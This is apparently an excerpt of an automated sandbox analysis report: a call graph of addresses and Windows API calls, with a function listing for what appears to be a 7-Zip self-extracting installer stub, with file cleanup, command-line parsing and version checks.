4 API calls 10496->10497 10497->10496 10691 412451 10498->10691 10502 4011b7 2 API calls 10501->10502 10503 4013eb 10502->10503 10503->10430 10505 401203 10504->10505 10506 4011c5 ??2@YAPAXI 10504->10506 10505->10388 10505->10389 10506->10505 10507 4011e6 ??3@YAXPAX 10506->10507 10507->10505 10512 401472 10509->10512 10511 4014cc 10511->10456 10513 4014b6 10512->10513 10514 401486 10512->10514 10513->10511 10515 4011b7 2 API calls 10514->10515 10515->10513 10522 4032e9 10516->10522 10518 403659 10519 40367a 10518->10519 10520 40365e GetLastError 10518->10520 10519->10467 10521 403669 10520->10521 10521->10467 10523 4032f2 10522->10523 10524 4032f6 GetFileAttributesW 10522->10524 10523->10518 10525 403307 10524->10525 10526 40330c 10524->10526 10525->10518 10527 403310 SetFileAttributesW 10526->10527 10528 40332a 10526->10528 10530 403326 10527->10530 10531 40331d DeleteFileW 10527->10531 10533 4031dc 10528->10533 10530->10518 10531->10518 10554 402a67 10533->10554 10535 4031f3 10558 402ab8 10535->10558 10537 403200 FindFirstFileW 10538 4032b8 SetFileAttributesW 10537->10538 10552 403222 10537->10552 10540 4032c3 RemoveDirectoryW 10538->10540 10541 4032db ??3@YAXPAX 10538->10541 10539 401403 2 API calls 10539->10552 10540->10541 10542 4032d0 ??3@YAXPAX 10540->10542 10543 4032e3 10541->10543 10542->10543 10543->10518 10545 402ab8 2 API calls 10545->10552 10546 403252 lstrcmpW 10549 403268 lstrcmpW 10546->10549 10550 40329b FindNextFileW 10546->10550 10547 403287 SetFileAttributesW 10547->10541 10548 403290 DeleteFileW 10547->10548 10548->10552 10549->10550 10549->10552 10551 4032b1 FindClose 10550->10551 10550->10552 10551->10538 10552->10539 10552->10541 10552->10545 10552->10546 10552->10547 10552->10550 10553 4031dc 2 API calls 10552->10553 10562 401795 10552->10562 10553->10552 10555 402a7e 10554->10555 10556 4011b7 2 API calls 10555->10556 10557 402a89 10556->10557 10557->10535 10559 402ac5 10558->10559 10560 401472 2 API calls 10559->10560 10561 402ad0 10560->10561 10561->10537 10563 401472 2 API calls 10562->10563 10564 40179f 10563->10564 10564->10552 10566 401eac 10565->10566 10567 401e7c GetLastError 10565->10567 10566->10485 10568 401e96 GetFileAttributesW 10567->10568 10570 401e8b 10567->10570 10568->10566 10568->10570 10569 401e8c SetLastError 10569->10485 10570->10566 10570->10569 10582 40247d 10571->10582 10574 4096e9 10576 409522 27 API calls 10574->10576 10575 40963b GetLastError FormatMessageW 10577 409669 FormatMessageW 10575->10577 10578 40967e lstrlenW lstrlenW ??2@YAPAXI lstrcpyW lstrcpyW 10575->10578 10579 4096f5 10576->10579 10577->10574 10577->10578 10602 409522 10578->10602 10579->10488 10583 402494 10582->10583 10584 4024c5 GetLastError wsprintfW GetEnvironmentVariableW GetLastError 10583->10584 10585 4024bb wvsprintfW 10583->10585 10586 402575 SetLastError 10584->10586 10587 4024fd ??2@YAPAXI GetEnvironmentVariableW 10584->10587 10585->10574 10585->10575 10586->10585 10588 40258c 10586->10588 10589 40255e ??3@YAXPAX 10587->10589 10590 40252c GetLastError 10587->10590 10591 4025ab lstrlenA ??2@YAPAXI 10588->10591 10612 402427 10588->10612 10597 402561 10589->10597 10590->10589 10592 402532 10590->10592 10595 402616 MultiByteToWideChar 10591->10595 10596 4025dc GetLocaleInfoW 10591->10596 10592->10597 10598 40253c lstrcmpiW 10592->10598 10595->10585 10596->10595 10600 402603 _wtol 10596->10600 10597->10586 10598->10589 10601 40254b ??3@YAXPAX 10598->10601 10599 4025a1 10599->10591 10600->10595 10601->10597 10603 409531 10602->10603 10604 409597 ??3@YAXPAX LocalFree 10602->10604 10619 4083ea 10603->10619 10604->10579 10607 409557 IsBadReadPtr 10609 409569 10607->10609 10624 40844b 10609->10624 10613 402431 GetUserDefaultUILanguage 10612->10613 10614 402475 10612->10614 10615 402452 GetSystemDefaultUILanguage 10613->10615 10616 40244e 10613->10616 10614->10599 10615->10614 10617 40245e GetSystemDefaultLCID 10615->10617 10616->10599 10617->10614 10618 40246e 10617->10618 10618->10614 10620 4014eb 2 API calls 10619->10620 10621 4083fb 10620->10621 10622 408447 IsWindow 10621->10622 10623 408423 GetSystemMetrics GetSystemMetrics 10621->10623 10622->10607 10622->10609 10623->10622 10625 40845a 10624->10625 10626 4084be 10624->10626 10625->10626 10627 402a67 2 API calls 10625->10627 10636 4081be ??3@YAXPAX 10626->10636 10628 40846b 10627->10628 10629 402a67 2 API calls 10628->10629 10630 408476 10629->10630 10637 4044e2 10630->10637 10633 4044e2 20 API calls 10634 408488 ??3@YAXPAX ??3@YAXPAX 10633->10634 10634->10626 10636->10604 10644 402e67 10637->10644 10641 4044fa 10680 4044ae 10641->10680 10645 4014eb ??2@YAPAXI ??3@YAXPAX 10644->10645 10646 402e75 10645->10646 10647 402e85 ExpandEnvironmentStringsW 10646->10647 10650 4011b7 ??2@YAPAXI ??3@YAXPAX 10646->10650 10648 402ea9 10647->10648 10649 402e9e ??3@YAXPAX 10647->10649 10652 402aa0 ??2@YAPAXI ??3@YAXPAX 10648->10652 10651 402ee0 10649->10651 10650->10647 10657 4041b2 10651->10657 10653 402eb7 ExpandEnvironmentStringsW 10652->10653 10654 402ec4 10653->10654 10655 40143c ??2@YAPAXI ??3@YAXPAX 10654->10655 10656 402ed8 ??3@YAXPAX 10655->10656 10656->10651 10658 4014eb ??2@YAPAXI ??3@YAXPAX 10657->10658 10659 4041c0 10658->10659 10660 40143c ??2@YAPAXI ??3@YAXPAX 10659->10660 10661 4041cb 10660->10661 10662 402ab8 ??2@YAPAXI ??3@YAXPAX 10661->10662 10663 4041d8 10662->10663 10664 402a67 ??2@YAPAXI ??3@YAXPAX 10663->10664 10665 4041e5 10664->10665 10666 404137 ??2@YAPAXI ??3@YAXPAX memmove 10665->10666 10667 4041f5 ??3@YAXPAX 10666->10667 10668 40143c ??2@YAPAXI ??3@YAXPAX 10667->10668 10669 404209 10668->10669 10670 402ab8 ??2@YAPAXI ??3@YAXPAX 10669->10670 10671 404216 10670->10671 10672 402a67 ??2@YAPAXI ??3@YAXPAX 10671->10672 10673 404223 10672->10673 10674 404137 ??2@YAPAXI ??3@YAXPAX memmove 10673->10674 10675 404233 ??3@YAXPAX 10674->10675 10676 402a67 ??2@YAPAXI ??3@YAXPAX 10675->10676 10677 40424a 10676->10677 10678 404137 ??2@YAPAXI ??3@YAXPAX memmove 10677->10678 10679 404259 ??3@YAXPAX ??3@YAXPAX 10678->10679 10679->10641 10681 402e67 6 API calls 10680->10681 10682 4044b9 10681->10682 10683 40426d 7 API calls 10682->10683 10684 4044c6 10683->10684 10685 404328 7 API calls 10684->10685 10686 4044d1 10685->10686 10687 4043e3 ??2@YAPAXI ??3@YAXPAX memmove ??3@YAXPAX 10686->10687 10688 4044d7 10687->10688 10689 402e67 6 API calls 10688->10689 10690 4044dd 10689->10690 10690->10633 10692 412434 2 API calls 10691->10692 10693 401d3c 10692->10693 10693->10426 10693->10427 10695 41229a CloseHandle 10694->10695 10696 412376 10695->10696 10697 41237a CreateFileW 10696->10697 10698 41239f 10696->10698 10697->10698 10698->10366 10702 41247f SetFileTime 10699->10702 10701 4124a9 10701->10356 10702->10701 10704 4029d5 10703->10704 10710 4029d1 10703->10710 10705 4029e5 GlobalMemoryStatusEx 10704->10705 10704->10710 10706 4029f3 10705->10706 10705->10710 10707 40247d 19 API calls 10706->10707 10706->10710 10708 402a0d 10707->10708 10711 409599 10708->10711 10710->10327 10710->10328 10712 4083ea 4 API calls 10711->10712 10713 4095a7 IsWindow 10712->10713 10714 4095be IsBadReadPtr 10713->10714 10716 4095d0 10713->10716 10714->10716 10715 40844b 22 API calls 10717 4095f7 10715->10717 10716->10715 10720 4081be ??3@YAXPAX 10717->10720 10719 409601 10719->10710 10720->10719 12646 414dcf _EH_prolog 12657 414e02 12646->12657 12647 414f2f 12677 40122a 12647->12677 12649 414f44 12691 414b2d 12649->12691 12650 414f59 12653 414f66 ??2@YAPAXI 12650->12653 12651 414be8 _CxxThrowException ??2@YAPAXI memcpy ??3@YAXPAX 12651->12657 12672 414f80 12653->12672 12654 414da5 7 API calls 12654->12657 12655 414b0b 4 API calls 12655->12657 12656 412885 VirtualFree ??3@YAXPAX ??3@YAXPAX ctype 12656->12657 12657->12647 12657->12651 12657->12654 12657->12655 12657->12656 12658 414cbf _CxxThrowException 12657->12658 12671 414e24 12657->12671 12658->12657 12659 414fca 12661 414c38 2 API calls 12659->12661 12660 41502d ??2@YAPAXI 12660->12672 12664 414fe2 12661->12664 12662 414c38 2 API calls 12662->12672 12665 414b2d ctype 2 API calls 12664->12665 12665->12671 12666 414b2d ctype 2 API calls 12666->12672 12668 414c38 2 API calls 12669 4150cf 12668->12669 12670 414b2d ctype 2 API calls 12669->12670 12670->12671 12672->12659 12672->12660 12672->12662 12672->12666 12672->12671 12673 414491 151 API calls 12672->12673 12675 4150aa 12672->12675 12687 4156e6 12672->12687 12694 415346 ??2@YAPAXI 12672->12694 12696 415693 12672->12696 12673->12672 12675->12668 12678 401238 GetDiskFreeSpaceExW 12677->12678 12679 40128e SendMessageW 12677->12679 12678->12679 12680 401250 12678->12680 12685 401276 12679->12685 12680->12679 12681 40247d 19 API calls 12680->12681 12682 401269 12681->12682 12683 409599 27 API calls 12682->12683 12684 40126f 12683->12684 12684->12685 12686 401287 12684->12686 12685->12649 12685->12650 12686->12679 12688 41570f 12687->12688 12700 415549 12688->12700 12692 4127e6 ctype 2 API calls 12691->12692 12693 414b3b 12692->12693 12695 415378 12694->12695 12695->12672 12698 415698 12696->12698 12697 4156bf 12697->12672 12698->12697 12699 415428 106 API calls 12698->12699 12699->12698 12701 41554e 12700->12701 12702 415584 12701->12702 12703 415428 106 API calls 12701->12703 12702->12672 12703->12701 10300 4123f1 ReadFile 13740 419c90 13745 407613 InitializeCriticalSection 13740->13745 13742 419c9a 13743 4192a8 2 API calls 13742->13743 13744 419ca4 13743->13744 13745->13742 10721 401198 SysAllocString 14730 404ba6 14731 404bbb 14730->14731 14735 404be9 14731->14735 14737 402990 ??3@YAXPAX ??3@YAXPAX 14731->14737 14732 412833 memmove 14733 404bf7 14732->14733 14735->14732 14736 404bda ??3@YAXPAX 14736->14731 14737->14736 14780 4015ac 14781 401556 6 API calls 14780->14781 14782 4015b9 14781->14782 14783 4015bd 14782->14783 14785 401198 SysAllocString 14782->14785 14785->14783

                                                                                                                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                                                                                                                    Function 00405BFC Relevance: 276.8, APIs: 102, Strings: 55, Instructions: 2009stringkeyboardwindowCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z.MSVCRT ref: 00405C0F
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402017: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402017: CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402017: SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402017: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402017: DispatchMessageW.USER32(?), ref: 00402069
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402017: KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402017: KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079
                                                                                                                                                                                                                                                                                    • GetVersionExW.KERNEL32(?,?,00000000), ref: 00405C2C
                                                                                                                                                                                                                                                                                    • GetCommandLineW.KERNEL32(?,00000020,?,00000000), ref: 00405CBB
                                                                                                                                                                                                                                                                                      • Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?), ref: 0040313F
                                                                                                                                                                                                                                                                                      • Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB), ref: 0040315A
                                                                                                                                                                                                                                                                                      • Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00403162
                                                                                                                                                                                                                                                                                      • Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(00405CDB,00405CDB,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?,00000000), ref: 004031D2
                                                                                                                                                                                                                                                                                    • lstrlenW.KERNEL32(?,00000000,00000000), ref: 00405CE6
                                                                                                                                                                                                                                                                                      • Part of subcall function 00404D0B: #17.COMCTL32(00000000,?,?), ref: 00404D17
                                                                                                                                                                                                                                                                                      • Part of subcall function 00404D0B: SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
                                                                                                                                                                                                                                                                                      • Part of subcall function 00404D0B: wsprintfW.USER32 ref: 00404DB8
                                                                                                                                                                                                                                                                                    • wsprintfW.USER32 ref: 00405D45
                                                                                                                                                                                                                                                                                    • _wtol.MSVCRT ref: 00405D7F
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 00405DCE
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 00405DE2
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,0041EA30), ref: 00405DEA
                                                                                                                                                                                                                                                                                      • Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
                                                                                                                                                                                                                                                                                      • Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD
                                                                                                                                                                                                                                                                                    • GetModuleFileNameW.KERNEL32(00000000,00000208), ref: 00405E61
                                                                                                                                                                                                                                                                                    • _wtol.MSVCRT ref: 00405F89
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00000010,00000000,0041EA30,0041EA30), ref: 00406118
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,00000009,?,00000000,0041EA30,0041EA30), ref: 0040619B
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,0000000A,?,00000000,0041EA30,0041EA30), ref: 00406211
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 0040622D
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,0041EA30,0041EA30), ref: 0040626B
                                                                                                                                                                                                                                                                                    • wsprintfW.USER32 ref: 00406295
                                                                                                                                                                                                                                                                                    • _wtol.MSVCRT ref: 004064B6
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00406587
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 004065D4
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 004065DC
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?), ref: 004065FB
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406653
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 0040665B
                                                                                                                                                                                                                                                                                    • GetCommandLineW.KERNEL32(?,00000000,?,?), ref: 004066C3
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 0040673B
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 00406743
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 0040674B
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 00406753
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 0040675B
                                                                                                                                                                                                                                                                                    • GetCurrentProcess.KERNEL32(000000FF,000000FF,?,?,?,?,00000000), ref: 00406767
                                                                                                                                                                                                                                                                                    • SetProcessWorkingSetSize.KERNEL32(00000000), ref: 0040676E
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 0040678A
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 00406792
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040679A
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067A2
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 004067BE
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004067C6
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067CE
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067D6
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?,?,00000000,?,?), ref: 0040687F
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,00000000,?,?), ref: 004068A4
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000011,00000000,00000000,?,?,00000000,?,?,?,00000000,?,?), ref: 00406916
                                                                                                                                                                                                                                                                                    • CoInitialize.OLE32(00000000), ref: 00406937
                                                                                                                                                                                                                                                                                    • lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00406991
                                                                                                                                                                                                                                                                                    • _wtol.MSVCRT ref: 00406A68
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406A8B
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00406AC4
                                                                                                                                                                                                                                                                                    • GetKeyState.USER32(00000010), ref: 00406B1B
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406C59
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?), ref: 00406C67
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406C92
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406C9A
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406CB6
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?), ref: 00406CBE
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 00406CEE
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,0041E9E8), ref: 00406D2E
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,0041E9E8), ref: 00406D97
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,0041E9E8), ref: 00406D9F
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E64
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(00000001,?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E6F
                                                                                                                                                                                                                                                                                    • GetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E79
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406F33
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406F3B
                                                                                                                                                                                                                                                                                    • _wtol.MSVCRT ref: 00406FCF
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?,?,?,?), ref: 004071AE
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(00000000,?,?,00000000,?,?,?,?,?,?), ref: 004071B6
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004071DA
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00407223
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040722B
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407233
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00407239
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407249
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407251
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040726E
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407276
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040727E
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407286
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040728E
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,0041E9E8), ref: 004072AF
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041E9E8), ref: 004072B7
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004072C3
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
                                                                                                                                                                                                                                                                                      • Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000001,00000010,?), ref: 004072E4
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000001,00000010,?), ref: 004072EC
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000001,00000010,?), ref: 004072F4
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000001,00000010,?), ref: 004072FA
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000001,00000010,?), ref: 00407302
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000001,00000010,?), ref: 0040730A
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000001,00000010,?), ref: 00407312
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00407331
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00407339
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407341
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00407347
                                                                                                                                                                                                                                                                                    • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 00407380
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 004073AA
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040746E
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407476
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040748D
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 004074A1
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 004074A9
                                                                                                                                                                                                                                                                                    • MessageBoxA.USER32(00000000,Sorry, this program requires Microsoft Windows 2000 or later.,7-Zip SFX,00000010), ref: 004074C2
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@$Message_wtol$lstrlen$??2@wsprintf$CommandCurrentFileFormatLineModuleProcessTimerlstrcpy$?_set_new_handler@@AttributesCallbackCreateDirectoryDispatchDispatcherErrorFolderFreeHandleInitializeKillLastLocalNamePathSizeSpecialStateUserVersionWindowWorkingwvsprintf
